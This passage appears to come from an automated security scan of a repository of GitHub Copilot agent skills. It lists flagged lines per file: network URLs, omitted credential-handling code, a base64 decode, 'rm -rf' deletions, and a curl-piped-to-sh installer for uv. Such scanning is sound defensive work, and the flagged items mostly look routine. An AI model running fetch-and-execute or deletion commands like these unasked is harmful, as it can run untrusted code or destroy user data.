    metadata:   compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback."   context: "fork"
  • Network accessline 6
    compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback."
  • Network accessline 24
    - Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available.
  • Network accessline 99
    For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic
  • Network accessline 151
    - [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)
  • Network accessline 152
    - [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)
  • Network accessline 153
    - [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)

harness/github-copilot/skills/mini-context-graph/references/lint.md

  • Dangerous shell operationline 48
    # rm wiki/{category}/{slug}.md

harness/github-copilot/skills/mini-context-graph/scripts/config.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 19
    [Credential-related source omitted]

harness/github-copilot/skills/mini-context-graph/scripts/contextgraph.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/mini-context-graph/scripts/template_agent_workflow.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/mini-context-graph/scripts/tools/__init__.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/mini-context-graph/scripts/tools/documents_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 27
    [Credential-related source omitted]

harness/github-copilot/skills/mini-context-graph/scripts/tools/graph_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 21
    [Credential-related source omitted]

harness/github-copilot/skills/mini-context-graph/scripts/tools/index_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 20
    [Credential-related source omitted]

harness/github-copilot/skills/mini-context-graph/scripts/tools/ontology_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 20
    [Credential-related source omitted]

harness/github-copilot/skills/mini-context-graph/scripts/tools/retrieval_engine.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/mini-context-graph/scripts/tools/wiki_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 30
    [Credential-related source omitted]

harness/github-copilot/skills/modernization-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 28
    [Credential-related source omitted]

harness/github-copilot/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]

harness/github-copilot/skills/msgraph-sdk/SKILL.md

  • Network accessline 70
    | Resource data notifications | High-volume scenarios need changed resource payloads. | Requires additional encryption setup. | | Retry middleware | Production workloads may hit 429. | Enable SDK retry middleware or implement exact `Retry-A
  • Network accessline 72
    | Least privilege | Avoid broad permissions. | Use https://learn.microsoft.com/graph/permissions-reference and admin consent only when required. |
  • Network accessline 147
    - [Microsoft Graph overview](https://learn.microsoft.com/graph/overview)
  • Network accessline 148
    - [Graph Explorer](https://developer.microsoft.com/graph/graph-explorer)
  • Network accessline 149
    - [Graph permissions reference](https://learn.microsoft.com/graph/permissions-reference)

harness/github-copilot/skills/msgraph-sdk/references/dotnet.md

  • Network accessline 7
    - SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoftgraph/msgraph-training-dotnet>
  • Network accessline 9
    - SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-dotnet/blob/main/CHANGELOG.md>
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]

harness/github-copilot/skills/msgraph-sdk/references/python.md

  • Network accessline 7
    - SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-python>
  • Network accessline 8
    - Samples: <https://github.com/microsoftgraph/msgraph-training-python>
  • Network accessline 9
    - SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-python/blob/main/CHANGELOG.md>
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 210
    [Credential-related source omitted]
  • Network accessline 211
    [Credential-related source omitted]
  • Network accessline 212
    async with httpx.AsyncClient() as client:
  • Network accessline 213
    [Credential-related source omitted]
  • Network accessline 214
    "https://graph.microsoft.com/v1.0/$batch",

harness/github-copilot/skills/msgraph-sdk/references/typescript.md

  • Network accessline 7
    - SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-javascript>
  • Network accessline 8
    - Samples: <https://github.com/microsoftgraph/msgraph-training-typescript>
  • Network accessline 9
    - SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-javascript/blob/main/CHANGELOG.md>
  • Network accessline 33
    const credential = new DefaultAzureCredential(); const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 34
    const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], });
  • Network accessline 35
    scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 52
    const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 53
    scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Access to secretsline 68
    [Credential-related source omitted]
  • Network accessline 72
    const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 73
    scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 88
    // Opens a browser tab — requires redirect URI http://localhost in app registration

harness/github-copilot/skills/msstore-cli/SKILL.md

  • Network accessline 37
    Use the Microsoft Store package at `https://www.microsoft.com/store/apps/9P53PC5S0PHJ` or manual releases at `https://aka.ms/msstoredevcli/releases` when WinGet is not appropriate.
  • Network accessline 41
    1. Go to `https://learn.microsoft.com/en-us/partner-center/` and open Partner Center.
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Network accessline 139
    - [Microsoft Store Developer CLI Documentation](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/overview)
  • Network accessline 140
    - [CLI Commands Reference](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/commands)
  • Network accessline 141
    - [GitHub Repository](https://github.com/microsoft/msstore-cli)
  • Network accessline 142
    - [Partner Center API](https://learn.microsoft.com/windows/uwp/monetize/using-windows-store-services)
  • Network accessline 143
    - [App Submission API](https://learn.microsoft.com/windows/uwp/monetize/create-and-manage-submissions-using-windows-store-services)
  • Network accessline 144
    - [Package Flights Overview](https://learn.microsoft.com/windows/uwp/publish/package-flights)
  • Network accessline 145
    - [Gradual Package Rollout](https://learn.microsoft.com/windows/uwp/publish/gradual-package-rollout)
  • Network accessline 146
    - [Partner Center](https://learn.microsoft.com/en-us/partner-center/)
  • Network accessline 147
    - [Microsoft Store package](https://www.microsoft.com/store/apps/9P53PC5S0PHJ)
  • Network accessline 148
    - [Manual releases](https://aka.ms/msstoredevcli/releases)

harness/github-copilot/skills/msstore-cli/references/commands-and-workflows.md

  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 232
    # Initialize PWA msstore init https://contoso.com --output ./pwa-package
  • Network accessline 233
    msstore init https://contoso.com --output ./pwa-package
  • Access to secretsline 401
    [Credential-related source omitted]
  • Access to secretsline 498
    [Credential-related source omitted]

harness/github-copilot/skills/mutation-testing/SKILL.md

  • Network accessline 134
    - [Stryker Mutator](https://stryker-mutator.io/docs/)
  • Network accessline 135
    - [PIT mutation testing](https://pitest.org/)
  • Network accessline 136
    - [mutmut](https://mutmut.readthedocs.io/)
  • Network accessline 137
    - [Cosmic Ray](https://cosmic-ray.readthedocs.io/)

harness/github-copilot/skills/mvvm-toolkit-di/SKILL.md

  • Network accessline 240
    - [Dependency injection in .NET](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection)
  • Network accessline 241
    - [Dependency injection usage](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection-usage)
  • Network accessline 242
    - [MVVM Toolkit Ioc](https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/ioc)
  • Network accessline 243
    - [Generic Host](https://learn.microsoft.com/en-us/dotnet/core/extensions/generic-host)
  • Network accessline 244
    - [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder)

harness/github-copilot/skills/mvvm-toolkit-di/references/dependency-injection.md

  • Network accessline 52
    > On WPF and Windows Forms, integrate the host lifetime with the > application lifetime — see > [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder).
  • Network accessline 54
    > [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder).

harness/github-copilot/skills/mvvm-toolkit-messenger/SKILL.md

  • Network accessline 302
    - Messenger docs: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/messenger>
  • Network accessline 303
    - `WeakReferenceMessenger` API: <https://learn.microsoft.com/en-us/dotnet/api/communitytoolkit.mvvm.messaging.weakreferencemessenger>
  • Network accessline 304
    - Source: <https://github.com/CommunityToolkit/dotnet>

harness/github-copilot/skills/mvvm-toolkit/SKILL.md

  • Network accessline 277
    - Toolkit overview: https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/
  • Network accessline 278
    - WinUI MVVM Toolkit tutorial: https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro
  • Network accessline 279
    - Source: https://github.com/CommunityToolkit/dotnet
  • Network accessline 280
    - Samples: https://github.com/CommunityToolkit/MVVM-Samples

harness/github-copilot/skills/mvvm-toolkit/references/end-to-end-walkthrough.md

  • Network accessline 8
    This walkthrough mirrors the official tutorial at <https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro>.
  • Network accessline 9
    <https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro>.

harness/github-copilot/skills/mvvm-toolkit/references/troubleshooting.md

  • Network accessline 20
    Search the full table at: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 21
    <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 208
    - All `MVVMTK0xxx` errors:   <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 209
    <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 210
    - Source: <https://github.com/CommunityToolkit/dotnet>
  • Network accessline 211
    - Sample app: <https://aka.ms/mvvmtoolkit/samples>

harness/github-copilot/skills/namecheap/SKILL.md

  • Network accessline 22
    - The script requires Python 3 standard library only; no `pip install` is needed. - Credentials come from `~/.namecheap-api` or environment variables. - Namecheap API access must be enabled and the caller's public IP must be whitelisted at 
  • Network accessline 24
    - Namecheap API access must be enabled and the caller's public IP must be whitelisted at https://ap.www.namecheap.com/settings/tools/apiaccess/.
  • Access to secretsline 28
    [Credential-related source omitted]
  • Network accessline 30
    1. Run `python3 namecheap.py public-ip` to display the public IP. 2. Instruct the user to enable API access at https://ap.www.namecheap.com/settings/tools/apiaccess/, select ON, and whitelist the displayed IP.
  • Network accessline 31
    2. Instruct the user to enable API access at https://ap.www.namecheap.com/settings/tools/apiaccess/, select ON, and whitelist the displayed IP.
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Network accessline 166
    - [Namecheap API access settings](https://ap.www.namecheap.com/settings/tools/apiaccess/)

harness/github-copilot/skills/namecheap/namecheap.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 21
    API_URL = "https://api.namecheap.com/xml.response"
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 94
    [Credential-related source omitted]
  • Access to secretsline 98
    [Credential-related source omitted]
  • Access to secretsline 99
    [Credential-related source omitted]
  • Network accessline 104
    print("You need:")         print("  1. Your Namecheap username")         print("  2. An API key from: https://ap.www.namecheap.com/settings/tools/apiaccess/")
  • Network accessline 105
    print("  1. Your Namecheap username")         print("  2. An API key from: https://ap.www.namecheap.com/settings/tools/apiaccess/")         print("  3. Your public IP whitelisted in the API settings")
  • Network accessline 106
    print("  2. An API key from: https://ap.www.namecheap.com/settings/tools/apiaccess/")
  • Access to secretsline 109
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Access to secretsline 115
    [Credential-related source omitted]
  • Network accessline 121
    def _http_get(url, timeout=15):     req = urllib.request.Request(url, headers={"User-Agent": "namecheap-skill/1.0"})
  • Network accessline 122
    req = urllib.request.Request(url, headers={"User-Agent": "namecheap-skill/1.0"})
  • Network accessline 123
    with urllib.request.urlopen(req, timeout=timeout) as resp:  # noqa: S310 (https only)
  • Network accessline 130
    if _public_ip:         return _public_ip     for url in ("https://api.ipify.org", "https://ifconfig.me"):
  • Network accessline 131
    return _public_ip     for url in ("https://api.ipify.org", "https://ifconfig.me"):         try:
  • Network accessline 132
    for url in ("https://api.ipify.org", "https://ifconfig.me"):
  • Access to secretsline 168
    [Credential-related source omitted]
  • Access to secretsline 171
    [Credential-related source omitted]
  • Network accessline 221
    print()     print("Make sure this IP is whitelisted at:")     print("  https://ap.www.namecheap.com/settings/tools/apiaccess/")
  • Network accessline 222
    print("Make sure this IP is whitelisted at:")     print("  https://ap.www.namecheap.com/settings/tools/apiaccess/")     print()
  • Network accessline 223
    print("  https://ap.www.namecheap.com/settings/tools/apiaccess/")
  • Access to secretsline 244
    [Credential-related source omitted]
  • Access to secretsline 247
    [Credential-related source omitted]
  • Access to secretsline 251
    [Credential-related source omitted]
  • Access to secretsline 256
    [Credential-related source omitted]
  • Access to secretsline 257
    [Credential-related source omitted]

harness/github-copilot/skills/namecheap/references/namecheap-api.md

  • Network accessline 6
    https://api.namecheap.com/xml.response
  • Network accessline 14
    |-----------|-------------| | `ApiUser` | Namecheap username | | `ApiKey` | API key from https://ap.www.namecheap.com/settings/tools/apiaccess/ |
  • Network accessline 15
    | `ApiUser` | Namecheap username | | `ApiKey` | API key from https://ap.www.namecheap.com/settings/tools/apiaccess/ | | `UserName` | Same as ApiUser |
  • Network accessline 16
    | `ApiKey` | API key from https://ap.www.namecheap.com/settings/tools/apiaccess/ |
  • Network accessline 23
    1. Log in to Namecheap 2. Go to https://ap.www.namecheap.com/settings/tools/apiaccess/
  • Network accessline 24
    2. Go to https://ap.www.namecheap.com/settings/tools/apiaccess/
  • Network accessline 376
    | `MXE` | MX equivalent (IP) | `1.2.3.4` | | `TXT` | Text record | Any text value | | `URL` | URL redirect (unmasked) | `http://example.com` |
  • Network accessline 377
    | `TXT` | Text record | Any text value | | `URL` | URL redirect (unmasked) | `http://example.com` | | `URL301` | Permanent redirect | `http://example.com` |
  • Network accessline 378
    | `URL` | URL redirect (unmasked) | `http://example.com` |
  • Network accessline 379
    | `URL301` | Permanent redirect | `http://example.com` |
  • Network accessline 380
    | `FRAME` | URL redirect (masked) | `http://example.com` |

harness/github-copilot/skills/nano-banana-pro-openrouter/SKILL.md

  • Access to secretsline 4
    [Credential-related source omitted]
  • Access to secretsline 6
    [Credential-related source omitted]
  • Access to secretsline 7
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Network accessline 64
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Dangerous shell operationline 65
    | `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral
  • Network accessline 65
    | `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral
  • Network accessline 66
    | `AuthenticationError` or HTTP 401 | Key is invalid, revoked, or has no credits. | Verify the key at `https://openrouter.ai/settings/keys`. |
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 97
    - [uv installer for macOS/Linux](https://astral.sh/uv/install.sh)
  • Network accessline 98
    - [uv installer for Windows](https://astral.sh/uv/install.ps1)
  • Network accessline 99
    - [OpenRouter keys](https://openrouter.ai/settings/keys)

harness/github-copilot/skills/nano-banana-pro-openrouter/scripts/generate_image.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Possible obfuscationline 83
    raw = base64.b64decode(encoded)
  • Network accessline 135
    [Credential-related source omitted]
  • Access to secretsline 135
    [Credential-related source omitted]
  • Network accessline 157
    # https://openrouter.ai/docs/guides/overview/multimodal/image-generation#image-configuration-options

harness/github-copilot/skills/napkin/assets/step1-activate.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="460" viewBox="0 0 800 460">

harness/github-copilot/skills/napkin/assets/step2-whiteboard.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/github-copilot/skills/napkin/assets/step3-draw.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/github-copilot/skills/napkin/assets/step4-share.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/github-copilot/skills/napkin/assets/step5-response.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/github-copilot/skills/noob-mode/references/examples.md

  • Dangerous shell operationline 92
    Allow tool: bash with command "rm -rf node_modules && npm install"?
  • Network accessline 146
    Allow tool: web_fetch on URL "https://api.github.com/repos/github/docs/issues"?
  • Dangerous shell operationline 336
    Allow tool: bash with command "rm src/deprecated/old-auth.ts"?

harness/github-copilot/skills/noob-mode/references/glossary.md

  • Network accessline 252
    **Plain English:** A web address. The text you type in a browser's address bar. **Analogy:** A street address, but for websites. **Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website."
  • Network accessline 254
    **Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website."
  • Network accessline 280
    **Plain English:** A way of referring to your own computer as if it were a web server. Used for testing. **Analogy:** Rehearsing a presentation in your own office before giving it in the conference room. **Example in context:** "`http://loc
  • Network accessline 282
    **Example in context:** "`http://localhost:3000`" = "A website running on your own computer, on channel 3000."

harness/github-copilot/skills/openapi-to-application-code/SKILL.md

  • Network accessline 13
    - "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 14
    - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition."
  • Network accessline 15
    - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 23
    | Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, 
  • Network accessline 24
    | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro
  • Network accessline 25
    | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. |
  • Network accessline 143
    - [Example OpenAPI URL](https://api.example.com/openapi.json)

harness/github-copilot/skills/optimize-simplicite-logs/scripts/SimpliciteLog2Json.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/optimize-simplicite-logs/scripts/simplicite-log2json.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/pcf-development/SKILL.md

  • Network accessline 162
    - https://learn.microsoft.com/en-us/power-apps/developer/component-framework/overview
  • Network accessline 163
    - https://learn.microsoft.com/en-us/power-apps/developer/component-framework/limitations
  • Network accessline 164
    - https://learn.microsoft.com/en-us/power-apps/developer/component-framework/manifest-schema-reference/

harness/github-copilot/skills/pdftk-server/SKILL.md

  • Dangerous shell operationline 27
    | Debian/Ubuntu | `sudo apt-get install pdftk` |
  • Dangerous shell operationline 28
    | Red Hat/Fedora | `sudo dnf install pdftk` |

harness/github-copilot/skills/pdftk-server/references/download.md

  • Dangerous shell operationline 26
    sudo apt-get install pdftk
  • Dangerous shell operationline 32
    sudo dnf install pdftk
  • Network accessline 37
    PDFtk Server (pdftk) is not public domain software. It can be installed and used at no charge under its [GNU General Public License (GPL) Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt). PDFtk uses th
  • Network accessline 45
    [PDFtk Server Redistribution License (PDF)](https://pdflabs.onfastspring.com/pdftk-server)
  • Network accessline 49
    [PDFtk Server Redistribution License](https://www.pdflabs.com/docs/pdftk-license/)
  • Network accessline 53
    PDFtk Server can be compiled from its source code. PDFtk Server is known to compile and run on [Debian](https://packages.debian.org/search?keywords=pdftk), [Ubuntu Linux](https://packages.ubuntu.com/search?keywords=pdftk), [FreeBSD](https:/
  • Network accessline 58
    curl -LO https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/pdftk-2.02-src.zip
  • Network accessline 62
    Review the [pdftk license information](https://www.pdflabs.com/docs/pdftk-license/) in: `license_gpl_pdftk/readme.txt`.
  • Network accessline 75
    PDFtk has been built using gcc/gcj/libgcj versions 3.4.5, 4.4.1, 4.5.0, and 4.6.3. PDFtk 1.4x fails to build on gcc 3.3.5 due to missing libgcj features. If you are using gcc 3.3 or older, try building [pdftk 1.12](https://www.pdflabs.com/t

harness/github-copilot/skills/pdftk-server/references/pdftk-man-page.md

  • Network accessline 3
    - **`pdftk` version 2.02** - Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes
  • Network accessline 4
    - Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes
  • Network accessline 5
    - See [server manual](https://www.pdflabs.com/docs/pdftk-man-page/) for the latest documentation

harness/github-copilot/skills/pdftk-server/references/pdftk-server-license.md

  • Network accessline 15
    [PDFtk Server Redistribution License (PDF)](https://www.pdflabs.com/docs/pdftk-license/pdf_labs_pdftk_redist_lic_agreement_ver_2.0.pdf)
  • Network accessline 19
    [Buy the PDFtk Server Redistribution License](https://pdflabs.onfastspring.com/pdftk-server)
  • Network accessline 23
    PDFtk Server (pdftk) is not public domain software. It can be used at no charge under its GNU General Public License (GPL) Version 2. [Click here to read the complete text](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_licen

harness/github-copilot/skills/pdftk-server/references/third-party-materials.md

  • Network accessline 13
    [Click to read the GNU General Public License Version 2.](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt)
  • Network accessline 15
    Libgcj is part of GCC, so you can find its source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/).
  • Network accessline 25
    [Click to read the GNU General Public License Version 3](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_3.0.txt).
  • Network accessline 27
    [Click to read the GCC Runtime Library Exception Version 3.1](https://www.pdflabs.com/docs/pdftk-license/gcc_runtime_library_exception_3.1.txt).
  • Network accessline 29
    Libgcc and libstdc++ are part of GCC, so you can find their source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/).
  • Network accessline 43
    [Click to read the GNU General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt).
  • Network accessline 45
    Classpath is part of GCC, so you can find its source code in the [GCC source code](https://gcc.gnu.org/gcc-4.5/).
  • Network accessline 51
    Copyright (c) 2000-2008 The Legion Of The Bouncy Castle (http://www.bouncycastle.org)
  • Network accessline 59
    Download the Bouncy Castle source code from: http://www.bouncycastle.org/.
  • Network accessline 67
    [Click to read the GNU Library General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt).
  • Network accessline 69
    The iText source code used in pdftk is slightly modified from its original version. This modified version is included with the [pdftk source code](https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/).
  • Network accessline 79
    Download the MinGW runtime source code from: http://mingw.org/.
  • Network accessline 87
    [Click to read the GNU Library General Public License](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt).
  • Network accessline 89
    Download the libiconv source code from: https://ftp.gnu.org/pub/gnu/libiconv/
  • Network accessline 95
    http://www.apache.org/licenses/LICENSE-2.0
  • Network accessline 99
    [Click to read the Apache License Version 2.0](https://www.pdflabs.com/docs/pdftk-license/apache_license_2.txt).
  • Network accessline 101
    [Click to read the Apache Batik NOTICE file](https://www.pdflabs.com/docs/pdftk-license/apache_batik_NOTICE.txt).
  • Network accessline 103
    Download the Apache Batik source code from: http://xmlgraphics.apache.org/batik/.

harness/github-copilot/skills/penpot-uiux-design/SKILL.md

  • Network accessline 22
    - Check whether `mcp__penpot__penpot_api_info` succeeds before giving setup instructions. If it succeeds, the server is running and connected. - If the tool fails, ask whether the Penpot MCP server is already installed and running; only gui
  • Network accessline 23
    - If the tool fails, ask whether the Penpot MCP server is already installed and running; only guide installation when the user confirms it is not installed. - Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm in
  • Network accessline 24
    - Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm install`, then `npm run bootstrap`.
  • Network accessline 25
    - In Penpot, open a design file, choose Plugins → Load plugin from URL, enter `http://localhost:4400/manifest.json`, then click "Connect to MCP server" in the plugin UI.
  • Network accessline 26
    - VS Code MCP configuration uses `http://localhost:4401/sse` under `mcp.servers.penpot.url`.

harness/github-copilot/skills/penpot-uiux-design/references/setup-troubleshooting.md

  • Network accessline 26
    - **Node.js v22+** - [Download](https://nodejs.org/)
  • Network accessline 42
    # Clone the repository git clone https://github.com/penpot/penpot-mcp.git
  • Network accessline 43
    git clone https://github.com/penpot/penpot-mcp.git
  • Network accessline 66
    MCP Server listening on http://localhost:4401
  • Network accessline 67
    Plugin server listening on http://localhost:4400
  • Network accessline 73
    1. Open [Penpot](https://design.penpot.app/) in your browser
  • Network accessline 75
    3. Go to **Plugins** menu (or press the plugins icon) 4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json`
  • Network accessline 76
    4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json` 6. The plugin UI will appear - click **"Connect to MCP server"**
  • Network accessline 77
    5. Enter: `http://localhost:4400/manifest.json`
  • Network accessline 92
    "servers": {       "penpot": {         "url": "http://localhost:4401/sse"
  • Network accessline 93
    "penpot": {         "url": "http://localhost:4401/sse"       }
  • Network accessline 94
    "url": "http://localhost:4401/sse"
  • Network accessline 106
    "servers": {       "penpot": {         "url": "http://localhost:4401/mcp"
  • Network accessline 107
    "penpot": {         "url": "http://localhost:4401/mcp"       }
  • Network accessline 108
    "url": "http://localhost:4401/mcp"
  • Network accessline 135
    "penpot": {          "command": "npx",          "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"]
  • Network accessline 136
    "command": "npx",          "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"]        }
  • Network accessline 137
    "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"]
  • Network accessline 148
    claude mcp add penpot -t http http://localhost:4401/mcp
  • Network accessline 207
    # Test the SSE endpoint    curl http://localhost:4401/sse
  • Network accessline 208
    curl http://localhost:4401/sse
  • Network accessline 210
    # Test the MCP endpoint    curl http://localhost:4401/mcp
  • Network accessline 211
    curl http://localhost:4401/mcp
  • Network accessline 237
    1. Verify plugin server is running on port 4400 2. Try accessing `http://localhost:4400/manifest.json` directly in browser
  • Network accessline 238
    2. Try accessing `http://localhost:4400/manifest.json` directly in browser
  • Dangerous shell operationline 275
    rm -rf node_modules
  • Network accessline 309
    curl -s http://localhost:4401/sse | head -1
  • Network accessline 326
    - **GitHub Issues**: [penpot/penpot-mcp/issues](https://github.com/penpot/penpot-mcp/issues)
  • Network accessline 327
